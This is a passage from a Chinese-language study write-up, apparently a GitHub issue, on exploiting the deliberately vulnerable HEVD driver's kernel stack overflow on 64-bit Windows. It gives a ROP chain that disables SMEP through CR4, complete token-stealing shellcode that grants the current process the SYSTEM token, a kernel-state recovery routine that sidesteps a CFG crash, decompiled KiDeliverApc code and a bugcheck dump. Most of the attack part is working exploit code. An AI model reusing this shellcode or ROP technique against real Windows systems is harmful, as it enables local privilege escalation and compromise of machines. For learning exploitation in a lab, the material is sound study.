|      Address of "mov cr4, rcx; ret"    |  <-- ROP链的第2个元素
+----------------------------------------+
|      0x0000000000070678                |  <-- ROP链的第1个元素 (pop rcx 的数据)
+----------------------------------------+
|      Address of "pop rcx; ret"         |  <-- 被覆盖的返回地址 (ROP链起点) RSP 指向这里
+----------------------------------------+
|      ... 'AAA...'(覆盖了保存的RBP等) ... |  <-- 栈没有修复好,最后跳到这部分
+----------------------------------------+
|      ... 'AAA..'(填充易受攻击的缓冲区)... |
+----------------------------------------+
|   ... (更低地址的栈内容) ...              |
...
(低地址)


通过网上搜索,修复的payload代码如下,变更主要是在环境恢复

-----------------------------------------------------------------
xor rax, rax                    ; rax置零
mov rax, gs:[rax + 188h]        ; 获取nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD 位于 GS : [0x188]

mov rax, [rax + 0B8h]           ; 获取 nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; 将当前进程的_EPROCESS结构复制到rcx
mov r11, rcx                    ; Store Token.RefCnt
and r11, 0xf                    ; 获取当前进程的Token引用计数
                                ; _EX_FAST_REF(Token结构): 64 bit -> 0,3 (Token.RefCnt)

; EPROCESS offsets:
; +0x440 UniqueProcessId
; +0x448 ActiveProcessLinks
; +0x4b8 Token

mov rdx, 4h                     ; 系统进程PID = 0x4;
; 搜索进程ID为4的进程
SearchSystemPID:
    mov rax, [rax + 448h]       ; 获取Flink nt!_EPROCESS.ActiveProcessLinks.Flink
    sub rax, 448h
    cmp [rax + 440h], rdx       ; 获取nt!_EPROCESS.UniqueProcessId
    jne SearchSystemPID

; 结束后指向进程id为4的_EPROCESS
mov rdx, [rax + 4b8h]           ; 获取系统进程的Token nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h     ; 清零系统进程token计数
or rdx, r11                     ; 将当前进程的token计数放入系统进程的token中
mov [rcx + 4b8h], rdx           ; 将系统进程的Token替换到当前进程

; 恢复状态
movabs rax, qword ptr gs:[0x188]

; 将KernelApcDisable+1,不让其他APC执行,
; 如果其他APC执行,会因为CFG导致崩溃
mov cx, word ptr [rax + 0x1e4]
inc cx
mov word ptr [rax + 0x1e4], cx

; 恢复其他影响执行的寄存器信息
mov rdx, qword ptr [rax + 0x90]
mov rcx, qword ptr [rdx + 0x168]
mov r11, qword ptr [rdx + 0x178]
mov rsp, qword ptr [rdx + 0x180]
mov rbp, qword ptr [rdx + 0x158]
xor rax, rax                    ; 设置返回值

; 回到用户态
swapgs 
sysretq
-----------------------------------------------------------------

首先来看一下在_KTHREAD+0x1e4的位置代表的含义

-----------------------------------------------------------------
2: kd> dt _KTHREAD
ntdll!_KTHREAD
   ...
   +0x185 Spare13          : Char
   +0x186 WaitIrql         : UChar
   +0x187 WaitMode         : Char
   +0x140 WaitBlockFill6   : [116] UChar
   +0x1b4 WaitTime         : Uint4B
   +0x140 WaitBlockFill7   : [164] UChar
   +0x1e4 KernelApcDisable : Int2B <---
   +0x1e6 SpecialApcDisable : Int2B
   +0x1e4 CombinedApcDisable : Uint4B <---
   +0x140 WaitBlockFill8   : [40] UChar
   +0x168 ThreadCounters   : Ptr64 _KTHREAD_COUNTERS
   +0x140 WaitBlockFill9   : [88] UChar
   +0x198 XStateSave       : Ptr64 _XSTATE_SAVE
   +0x140 WaitBlockFill10  : [136] UChar
   +0x1c8 Win32Thread      : Ptr64 Void
   +0x140 WaitBlockFill11  : [176] UChar
   +0x1f0 Ucb              : Ptr64 _UMS_CONTROL_BLOCK
   +0x1f8 Uch              : Ptr64 _KUMS_CONTEXT_HEADER
-----------------------------------------------------------------

KernelApcDisable是_KTHREAD结构体中的一个字段,它是一个计数器,当这个计数器的值大于0时,
当前线程的所有内核APC(包括普通和特殊)的执行都会被禁止。
判断是在内核函数nt!KiDeliverApc进行判断,而nt!KiDeliverApc会在我们的payload指令swapgs/sysretq之前执行

函数ida伪代码

-----------------------------------------------------------------
void __fastcall KiDeliverApc(char a1, int a2, _KTRAP_FRAME *a3)
{
  // ...
  ULONG_PTR BugCheckParameter1; // [rsp+68h] [rbp-18h]
  int v70; // [rsp+C0h] [rbp+40h] BYREF
  int v71; // [rsp+C8h] [rbp+48h] BYREF

  Blink = 0LL;
  v63 = 0LL;
  v65 = 0LL;
  v64 = 0LL;
  if ( a3 )
    KiCheckForSListAddress(a3);
  CurrentThread = KeGetCurrentThread();
  v6 = CurrentThread->SpecialApcDisable == 0; // 判断是否是特殊内核APC
  TrapFrame = CurrentThread->TrapFrame;
  BugCheckParameter1 = (ULONG_PTR)CurrentThread->ApcState.Process;
  CurrentThread->TrapFrame = a3;
  CurrentThread->ApcState.KernelApcPending = 0;
  if ( v6 ) // 内核特殊APC
  {
    _InterlockedOr(v62, 0);
    v8 = &CurrentThread->152;
    while ( 1 )
    {
      if ( ($C774EFD68449142D8271B1EC1EB7FB26 *)v8->ApcState.ApcListHead[0].Flink == v8 )
        goto LABEL_16;
      CurrentIrql = KeGetCurrentIrql();
      __writecr8(2uLL);
      if ( KiIrqlFlags && (KiIrqlFlags & 1) != 0 && CurrentIrql <= 0xFu )
      {
        SchedulerAssist = KeGetCurrentPrcb()->SchedulerAssist;
        SchedulerAssist[5] |= (-1 << (CurrentIrql + 1)) & 4;
      }
      CurrentPrcb = KeGetCurrentPrcb();
      v70 = 0;
      v11 = CurrentPrcb->SchedulerAssist;
      if ( v11 )
      {
        if ( CurrentPrcb->NestingLevel <= 1u )
        {
          v40 = v11[6];
          v11[6] = v40 + 1;
          if ( v40 == -1 )
LABEL_60:
            KiRemoveSystemWorkPriorityKick(CurrentPrcb);
        }
      }
      while ( _interlockedbittestandset64((volatile signed __int32 *)&CurrentThread->ThreadLock, 0LL) )
      {
        v22 = CurrentPrcb->SchedulerAssist;
        if ( v22 )
        {
          if ( CurrentPrcb->NestingLevel <= 1u )
          {
            v41 = v22[6] - 1;
            v22[6] = v41;
            if ( !v41 )
              KiRemoveSystemWorkPriorityKick(CurrentPrcb);
          }
        }
        do
          KeYieldProcessorEx(&v70);
        while ( CurrentThread->ThreadLock );
        v23 = CurrentPrcb->SchedulerAssist;
        if ( v23 )
        {
          if ( CurrentPrcb->NestingLevel <= 1u )
          {
            v42 = v23[6];
            v23[6] = v42 + 1;
            if ( v42 == -1 )
              goto LABEL_60;
          }
        }
      }
      Flink = v8->ApcState.ApcListHead[0].Flink;
      if ( ($C774EFD68449142D8271B1EC1EB7FB26 *)v8->ApcState.ApcListHead[0].Flink == v8 )
        break;
      CurrentThread->ApcState.KernelApcPending = 0;
      v13 = Flink - 1;
      _m_prefetchw(&Flink[-1]);
      v14 = Flink[1].Flink;
      v63 = Flink[2].Flink;
      Blink = Flink[2].Blink;
      v65 = Flink[3].Flink;
      v64 = Flink[3].Blink;
      if ( v63 )
      {
        // 做安全检查,是否可以执行内核APC队列中的APC
        // 判断为真,则需要退出
        if ( CurrentThread->ApcState.InProgressFlags || CurrentThread->KernelApcDisable )
        {
          KiReleaseThreadLockSafe(CurrentThread);
          if ( KiIrqlFlags )
          {
            if ( (KiIrqlFlags & 1) != 0 && (unsigned __int8)(KeGetCurrentIrql() - 2) <= 0xDu )
            {
              v50 = KeGetCurrentPrcb();
              v51 = v50->SchedulerAssist;
              v6 = (v51[5] & 0xFFFF0003) == 0;
              v51[5] &= 0xFFFF0003;
              if ( v6 )
                KiRemoveSystemWorkPriorityKick(v50);
            }
          }
          __writecr8(1uLL);
          goto LABEL_17; // 退出
        }
        
        // ...
      }
      else
      {
        v15 = Flink->Flink;
        v16 = Flink->Blink;
        if ( Flink->Flink->Blink != Flink || v16->Flink != Flink )
          goto LABEL_112;
        v16->Flink = v15;
        v15->Blink = v16;
        BYTE2(v13[5].Flink) = 0;
        CurrentThread->ThreadLock = 0LL;
        v17 = KeGetCurrentPrcb();
        v18 = v17->SchedulerAssist;
        if ( v18 )
        {
          if ( v17->NestingLevel <= 1u )
          {
            v43 = v18[6] - 1;
            v18[6] = v43;
            if ( !v43 )
              KiRemoveSystemWorkPriorityKick(v17);
          }
        }
        if ( KiIrqlFlags && (KiIrqlFlags & 1) != 0 && (unsigned __int8)(KeGetCurrentIrql() - 2) <= 0xDu )
        {
          v44 = KeGetCurrentPrcb();
          v45 = v44->SchedulerAssist;
          v6 = (v45[5] & 0xFFFF0003) == 0;
          v45[5] &= 0xFFFF0003;
          if ( v6 )
            KiRemoveSystemWorkPriorityKick(v44);
        }
        __writecr8(1uLL);
        CurrentThread->ApcState.InProgressFlags |= 2u;
        // 根据调试,该代码会执行
        ((void (__fastcall *)(struct _LIST_ENTRY *, struct _LIST_ENTRY **, struct _LIST_ENTRY **, 
            struct _LIST_ENTRY **, struct _LIST_ENTRY **))v14)(
          v13,
          &v63,
          &Blink,
          &v65,
          &v64);
        CurrentThread->ApcState.InProgressFlags &= ~2u;
      }
    }
    // ...
  }
LABEL_17:
  // 保存状态,退出分发APC
  Process = (ULONG_PTR)CurrentThread->ApcState.Process;
  if ( Process != BugCheckParameter1 )
    KeBugCheckEx(
      5u,
      BugCheckParameter1,
      Process,
      CurrentThread->ApcStateIndex,
      KeGetPcr()->Prcb.DpcRequestSummary & 0x10001);
  CurrentThread->TrapFrame = TrapFrame;
}
-----------------------------------------------------------------

根据调试,在执行代码时会有CFG检查

-----------------------------------------------------------------
// 伪代码
 ((void (__fastcall *)(struct _LIST_ENTRY *, struct _LIST_ENTRY **, struct _LIST_ENTRY **, 
    struct _LIST_ENTRY **, struct _LIST_ENTRY **))v14)(
          v13,
          &v63,
          &Blink,
          &v65,
          &v64);
        CurrentThread->ApcState.InProgressFlags &= ~2u;

// 反汇编代码
.text:FFFFF8043A215510 loc_FFFFF8043A215510:  ; CODE XREF: KiDeliverApc+209472↓j
.text:FFFFF8043A215510                        ; KiDeliverApc+209480↓j ...
.text:FFFFF8043A215510                 mov     eax, 1
.text:FFFFF8043A215515                 mov     cr8, rax
.text:FFFFF8043A215519                 or      byte ptr [rbx+0C0h], 2
.text:FFFFF8043A215520                 lea     rax, [rbp+var_38]
.text:FFFFF8043A215524                 mov     [rsp+80h+BugCheckParameter4], rax
.text:FFFFF8043A215529                 lea     r9, [rbp+var_30]
.text:FFFFF8043A21552D                 mov     rax, r12
.text:FFFFF8043A215530                 lea     r8, [rbp+var_28]
.text:FFFFF8043A215534                 lea     rdx, [rbp+var_40]
.text:FFFFF8043A215538                 mov     rcx, rsi
.text:FFFFF8043A21553B                 call    _guard_dispatch_icall ; <---
.text:FFFFF8043A215540                 and     byte ptr [rbx+0C0h], 0FDh
.text:FFFFF8043A215547                 xor     r11d, r11d
.text:FFFFF8043A21554A                 jmp     loc_FFFFF8043A21541F
-----------------------------------------------------------------

由于栈溢出,环境被破坏,所以CFG检查会出现问题,导致蓝屏崩溃

下面的就是具体的崩溃信息

-----------------------------------------------------------------
3: kd> t
000002b4`61e90080 31c0            xor     eax,eax
3: kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000007f
    (0x0000000000000008,0xFFFFBA0087646E70,0x000000BD8BAFC450,0xFFFFF80107401BBA)


A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`07400e70 cc              int     3
3: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffba00`87646578 fffff801`07512f02     nt!DbgBreakPointWithStatus
01 ffffba00`87646580 fffff801`075124e6     nt!KiBugCheckDebugBreak+0x12
02 ffffba00`876465e0 fffff801`073f90a7     nt!KeBugCheck2+0x946
03 ffffba00`87646cf0 fffff801`0740af69     nt!KeBugCheckEx+0x107
04 ffffba00`87646d30 fffff801`07405d83     nt!KiBugCheckDispatch+0x69
05 ffffba00`87646e70 fffff801`07401bba     nt!KiDoubleFaultAbort+0x2c3
06 000000bd`8bafc450 00000000`00010001     nt!guard_dispatch_icall+0x4a <--- CFG导致
07 000000bd`8bafc458 00000001`00010001     0x10001
08 000000bd`8bafc460 00000000`00000400     0x00000001`00010001
09 000000bd`8bafc468 00000000`00000001     0x400
0a 000000bd`8bafc470 00000000`00000000     0x1
3: kd> r
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=ffffba0087428180
rip=fffff80107400e70 rsp=ffffba0087646578 rbp=ffffba00876466e0
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=0000000000000008
r14=0000000000000000 r15=ffffa78fc715b080
iopl=0         nv up di ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040082
nt!DbgBreakPointWithStatus:
fffff801`07400e70 cc              int     3
-----------------------------------------------------------------

所以可以发现,通过变更_KTHREAD+0x1e4禁止执行其他内核APC,也算是绕过了CFG的检查

☆ 总结

以前做过这个测试,但是在win7上测试,各种防护机制没有遇到,并且以前只想着赶快做完,然后找漏洞挣钱,
很多细节都没有扣,这次借着有AI,所以将很多以前有疑问的东西全部进行了测试和描述,
感觉对内核各种理论知识有了进一步的认识.

接下来我尽力抽时间将所有的hevd漏洞都做一遍,然后再开始挖windows内核的漏洞

☆ 参考:
https://h0mbre.github.io/HEVD_Stackoverflow_SMEP_Bypass_64bit/

SMEP+VBS bypass: https://news.ycombinator.com/item?id=42354203

hevd stackoverflow 多种防护绕过(包含SMEP+VBS): 
https://wetw0rk.github.io/posts/0x01-killing-windows-kernel-mitigations/

control registre: https://en.wikipedia.org/wiki/Control_register

heve exploit: https://github.com/wetw0rk/Exploit-Development

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions